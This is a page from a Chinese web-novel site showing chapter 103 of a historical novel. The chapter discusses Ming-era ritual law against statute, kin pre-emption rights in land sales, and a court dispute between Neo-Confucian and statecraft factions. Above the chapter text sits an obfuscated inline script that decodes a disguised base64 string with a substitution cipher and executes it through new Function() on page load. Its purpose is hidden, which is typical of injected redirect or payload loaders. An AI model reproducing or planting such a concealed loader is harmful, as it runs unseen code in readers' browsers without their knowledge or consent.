当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第103章 模糊的界限(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

公私统一带来的是界限的模糊,其影响了人对事物判断的立场和视角,用礼法还是用法律?这是个问题。

传统理学,朱夫子讲“法者,天下之理”,法律必须符合天理,天理的核心是三纲五常,其同礼法紧密结合。这时的法律主要作用是辅助教化——“弼教”,同时通过乡约、族规将法律的权力下放到基层,形成“国法——家法”双层治理体系。

明律极大程度体现了理学的观念。刑法方面,继承唐代的“十恶”,将违背三纲五常的行为列为不可赦免之罪;同时又突出同罪异罚的等级制度,“尊卑有别”,尊长杀卑幼从轻,反之从重,主杀奴最多不过杖刑,反之凌迟。

再细一点,将视角看向基层,官府默许宗族用宗法处置族内纠纷,可用私刑,所以有时女子通奸之后被沉塘是理所当然,是有思想、制度两方面支持的。

而在某些方面规定更为特殊。

但这里只讲土地一点,明律《户律.田宅》明文规定,土地买卖需先问亲邻,亲邻不要方可外售,这里讲的是朱熹的“族田共守”原则。

这条规矩看着挺合理的,亲邻先买权从唐代就有雏形,在宋代制度化。它限制了土地的自由流通,维系了基层稳定,用砖家的话来说,导致了资源配置效率低下。

但请问它防止了他人强权侵占自己土地了吗?抑制了土地兼并了吗?

答案是没有,相反被豪强士绅利用,用低价强买土地,进一步加剧了土地兼并。之所以士绅能够低价强买,就在于外人在这样的礼法情形下购买、售出这种土地的成本极高,名为保护,实为打压。

俞鹤伦提到的义仓、义田,虽然明律鼓励不买卖,但现实情况下通常被管理者私吞典卖,至于管理者是什么人,反正不是贫苦百姓。

更为特别的是北方宗族势力弱,南方宗族势力强,而经济发达的地区却在江南,天生的地理禀赋让人生羡。

在这样的礼法环境下,亲邻买卖权导致了土地的产权不清晰,抑制了资本积累。

而经世学派将私纳入公,打破了这种基层乡村体系,同时为商业买卖提供了理论依据。

俞鹤伦的讲法就是他们买卖河船是个商业行为,在当时的买卖情形下他们无法预知未来,作为天下中的一个小小个体,他们既无法保证买家买入后船只保值,也不期望船只升值。

这符合经世学派的观点,但不符合理学的观点,都察院在俞鹤伦揭开这个疤之后,判案就已经只能偃旗息鼓了。

但是理学之所以挑起事端,在于买卖三百石河船属于中等小富以上家庭才能掺合的买卖。而在这场风波中受损最为严重的就是地方上的士绅,因为这帮家伙的榆木脑袋并不理解发生了什么,这不是河船行业的简单价格波动,而是洗牌。

他们在遭受损失后,无法诉诸商业行为的有无违法,只能从维稳角度向朝堂诸公施压,期望于皇帝出于自身统治的角度支持他们。而胡之问为首的理学门人必须支持家乡士绅的行为,在朝堂发声,即使会挑起同经世学派的争论。

但贾琏要俞鹤伦用这种策略,在谢鳞看来很类似于贾琏在嘉祥末年春秋社刚成立的时候采取的策略,嘉祥二十二年到嘉祥三十五年前后不过十三年,当年辽东浴血活下来的军士,再活过十三年的有很多。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间